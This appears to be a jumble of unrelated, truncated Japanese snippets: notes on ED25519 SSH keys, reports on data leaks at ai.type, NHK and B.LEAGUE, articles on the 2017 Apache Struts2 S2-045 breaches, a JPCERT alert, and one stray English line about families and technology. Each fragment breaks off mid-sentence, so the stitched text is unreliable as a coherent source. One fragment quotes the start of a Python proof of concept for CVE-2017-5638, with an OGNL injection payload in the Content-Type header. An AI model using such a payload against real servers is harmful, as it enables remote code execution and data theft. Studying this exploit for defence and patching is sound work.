SSH 用の鍵を作成する際、従来は RSA を利用するケースがとても多かったと思います。 ですが、ED25519 の方が RSA よりも強度が高く、しかも速いです。 ED25519 に対応していない古い SSH の実装が無い限り、今後は ED25519 を利用した方が良さそうです。 今回は ED25519 の鍵ペアを作成する方法をメモしておきます。 尚、ED25519 は OpenSSH 6.5 以降でサポートされています。 鍵ペアを作成するには ssh-keygen を使います。 鍵ペアの種類は以下の 4 つから選択出来ます。 ECDSA の鍵長に 521 とありますが、これは誤記では無く、実際に指定可能な値です。 ED25519 の場合は 256 しか選択出来ませんので、鍵長自体は短くなります。 Type Default Bits DSA 1024 1024 RSA 2048 1024

はじめに 「クラウドを支えるこれからの暗号技術」のデジタル署名の説明へのツッコミtweetをしたところ、著者の方との遣り取りが始まったのですが…。 ※togetterまとめ「電子署名=『秘密鍵で暗号化』」という良くある誤解の話に経緯があります 認識の齟齬についてtwitterでどうこうするのは難しいですし、批判ばかりなのも建設的ではないので、「自分ならこう書くだろう」という文面の形でまとめてみました。 ※なお、電子署名を含めた公開鍵暗号全般に対する私の説明を2つの公開鍵暗号(公開鍵暗号の基礎知識)にまとめています。 署名の説明案 前提 「クラウドを支えるこれからの暗号技術」Web公開されているPDF、2018/3/11時点(最終更新2017/11/11の4.6節デジタル署名(p.50)を、書き換えるとしたら、という前提で文面を作っています。 ※そのため既存の文面の流用や、他の節を参照する記

AndroidとiOS向けのキーボードアプリ「ai.type」のユーザー3000万人あまりの個人情報が、誰にでもアクセスできる状態でインターネットに露呈されていたことが分かった。米MacKeeper傘下のKromtech Security Centerが12月5日のブログで伝えた。 それによると、ai.typeはイスラエルの新興企業が提供するキーボードアプリで、Android版はGoogle Playストアから約4000万回もダウンロードされ、ユーザーは増え続けている。 ところが、ai.typeのものと思われるMongoDBの設定ミスが原因で、ai.typeのユーザー3129万3959人の個人情報が、インターネット経由で誰にでもアクセスできる状態になっていたという。問題のデータベースには、電話番号や持ち主のフルネーム、使用言語、居住国、Facebookなどソーシャルメディアのプロフィール関

インテルx86マシンの奥深くでは人知れず「MINIX 3」が動作しており、脆弱性を作り出している。Googleらはそれを排除しようとしている インテルのx86プロセッサを用いたシステムでは、その奥深くで人知れずMINIX 3を含む2つほどのカーネルがプロセッサ上で稼働しているOSとは別に作動しており、それが脆弱性を作り出しているとGoogleのエンジニアらが警告し、それを取り除こうという動きを見せています。 それが、10月23日から26日までチェコ共和国のプラハで行われたOpen Source Summit EuropeでGoogleのRonald Minnich氏のセッション「Replace Your Exploit-Ridden Firmware with Linux」（脆弱性にまみれたファームウェアをLinuxで置き換える）のセッションで説明されたことでした。 これを、海外のメディア

未知の脅威からシステムを保護する「振る舞い検知」技術。攻撃の進化に合わせて、技術も変化するとシマンテックは解説する。 アンチウイルスなどのセキュリティ対策ソフトは、新たな脅威が発見されると、感染の防止と駆除をするための定義ファイルが作成され、ユーザーに配布される。しかし、定義ファイルが提供されるまで、ユーザーは実質的に無防備な状態に置かれてしまう。そこで、解析前の未知の脅威からの攻撃を防ぐ手段として開発されたのが、「振る舞い検知」技術だ。 振る舞い検知技術の名称は、セキュリティベンダーによって「ヒューリスティック分析」や「ジェネリック検知」など異なる。米Symantecで振る舞い検知技術の開発に携わる、ビヘイビア分析検知エンジン担当アーキテクトのマーク・オブレック氏は「呼び名が違っても、未知の脅威を検出してシステムを保護するのが各技術の共通した目的」と説明する。 同社では、振る舞い検知技術

NHKが、放送受信料のクレジットカード継続払いを申し込んだ3267人分の個人情報を紛失する事故があったと発表した。 NHKは10月24日、クレジットカード情報を含む、最大3267人分の個人情報が流出した可能性があると発表した。放送受信料のクレジットカード継続払いを申し込んだユーザーの書類を廃棄する過程で、1箱分の帳票を紛失していたことが分かったという。 紛失したのは、2011年4月22～28日にNHKのWebサイトからクレジットカード継続払いを申請したユーザーの申し込み書類3306枚（3267人分）。氏名、住所、電話番号、メールアドレスに加え、クレジットカード番号、有効期限が流出した恐れがあるという。 10月16日に「静岡県沼津市内の路上に申し込み書が落ちている」と通報を受けて発覚。NHKが調べたところ、廃棄業者が11日、保存期限が切れた書類をNHKの倉庫（埼玉県川口市）から運び出し静岡県

2017年3月に複数のWebサイトが外部からの不正アクセスを受けたことを発表しています。また一部では不正アクセスが成功し、情報が盗まれたり、データが削除されるといった被害が発生しています。 攻撃を受けたWebサイトはApache Struts 2で稼働していたとみられ、またGMOペイメントゲートウェイはApache Struts2の脆弱性を悪用した不正アクセスであったことを明らかにしています。ここでは3月に発表されたApache Struts 2で稼働するWebサイトへの不正アクセスについてまとめます。 被害状況の概要 攻撃を受けたサイトやその被害概要をまとめると次の通り。 運営元 攻撃を受けたサイト 被害状況 トヨタファイナンス GMOペイメントゲートウェイ 都税クレジットカードお支払いサイト(旧) ⇒新しいドメインへ移転 機構団体信用生命保険特約料クレジットカード支払いサイト サイトに

ぴあは2017年4月25日、同社が運営を受託しているプロバスケットボールリーグ「B.LEAGUE」関連のWebサイトから最大約15万5000件の個人情報が流出した可能性があると発表した。原因は同サイトに使っている「Apache Struts2」の脆弱性。約3万2000件のクレジットカード情報も含まれるという。 不正アクセスを受けたのはB.LEAGUEチケットサイトとファンクラブ受付サイトのサーバー。B.LEAGUEチケットサイトはホットファクトリー、ファンクラブ受付サイトはききょう屋ソフトが、ぴあの発注を受けて構築したという。情報流出の原因になったのはJavaのWebアプリケーションフレームワーク「Apache Struts2」の脆弱性。これらのサイトがStruts2を使用していた。 同年3月10日、Struts2の脆弱性を情報処理推進機構（IPA）が公表した。ただぴあは当初、B.LEAG

2017.07.13 B.LEAGUEチケット等でのクレジットカード決済再開に関する、現状のご報告 RELEASE 平素より格別のお引き立てにあずかり、厚く御礼申し上げます。 去る2017年4月25日（火）に公表いたしました、外部からの不正アクセスに伴う顧客情報流出事案につきましては、B.LEAGUEチケット等関連サイトをご利用のお客様をはじめ、関係者の皆様に多大なるご迷惑とご不安をおかけしておりますことを、改めて深くお詫び申し上げます。 ※5月18日更新分はこちら ※4月25日更新分はこちら 現在、B.LEAGUEチケット等関連サイトでのクレジットカード決済の再開に向けて、「個人情報の保護に関する法律についてのガイドライン（個人情報保護法ガイドライン）」に基づき、講ずべき安全管理処置の再確認を、B.LEAGUE、ぴあ株式会社共同で行っております。すでにぴあ株式会社での対策は終了しており、

はじめに 2017年3月、Struts2にまたしても新たな脆弱性(S2-045、S2-046)が見つかり、複数のウェブサイトにおいて情報漏洩等の被害が発生しました。筆者は2014年4月（およそ3年前）に「例えば、Strutsを避ける」という記事を書きましたが、今読み返してみると「やや調査不足の状態で書いてしまったな」と感じる点もあります。今回、良いタイミングなのでもう一度Struts2のセキュリティについてざっとまとめてみたいと思います。 なぜJavaなのにリモートからの任意のコード実行(いわゆるRCE)が可能なのか Struts2はJavaアプリケーションであり、Java製のアプリケーションサーバ上で動作します。Javaはいわゆるコンパイル型の言語であるため、通常はランタイムにおいて任意のコードを実行することはできず、RCEは難しいはずです。 JavaのウェブアプリケーションでRCEが成

Children today are growing up with technology, not growing into it like previous generations. So we’re working directly with experts and educators to help you set boundaries and use technology in a way that’s right for your family.

2017年3月7日、Struts2にリモートから任意のコード実行可能な脆弱性が確認されたとして情報(S2-045)が公開されました。また同様の脆弱性が他にも存在するとして、2017年3月20日に脆弱性情報(S2-046)も公開されています。ここでは脆弱性の関連情報をまとめます。 脆弱性の概要 対象 Apache Struts2 CVE CVE-2017-5638 影響 RCE 重要度 High(Apache Struts) CVSS 7.3(Base) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 7.5(Base) AV:N/AC:L/Au:N/C:P/I:P/A:P (JVNより) PoC インターネット上に公開済 悪用の状況 攻撃観測情報あり(2017/03/07) 発見者/報告者 Nike Zheng氏(S2-045) Chris Fro

またOGNL絡みの脆弱性が見つかりました。 アウトラインはid:Kango氏がまとめているこちらが参考になります。 http://d.hatena.ne.jp/Kango/20170307/1488907259 さて、この脆弱性の動作原理を調べてみました。 ファイルアップロード時のヘッダの処理方式に問題があるようです。 前述のURLで述べられているPoCはこんな感じ。 import requests import sys def poc(url): payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.

各位 JPCERT-AT-2017-0009 JPCERT/CC 2017-03-09(新規) 2017-03-21(更新) <<< JPCERT/CC Alert 2017-03-09 >>> Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起 https://www.jpcert.or.jp/at/2017/at170009.html I. 概要 Apache Software Foundation が提供している Apache Struts 2 には脆弱性 (S2-045/CVE-2017-5638) が存在します。遠隔の攻撃者が、細工した HTTP リク エストを送信することで、Apache Struts 2 を使用するアプリケーション (Struts アプリケーション) を実行しているサーバにおいて、任意のコードを実行する 可能性があります。脆弱性の詳細